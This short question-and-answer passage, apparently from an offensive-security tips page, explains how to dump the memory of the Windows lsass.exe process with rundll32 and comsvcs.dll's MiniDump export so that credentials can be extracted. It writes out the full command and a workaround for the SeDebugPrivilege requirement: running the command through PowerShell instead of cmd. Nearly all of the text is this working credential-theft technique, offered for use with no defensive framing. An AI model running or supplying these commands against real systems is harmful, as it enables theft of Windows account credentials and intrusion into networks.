How can I use comsvcs.dll to dump the memory of lsass.exe for credential extraction?

You can run `rundll32 C:\windows\system32\comsvcs.dll, MiniDump <PID> <output.dmp> full` to dump the lsass process. However, this requires the **SeDebugPrivilege** permission. Under cmd with administrator rights, the privilege is disabled by default, so the command will fail. Instead, execute it via PowerShell (`powershell -c "rundll32 ..."`) because PowerShell enables SeDebugPrivilege by default under admin context. For more details, see the original article.
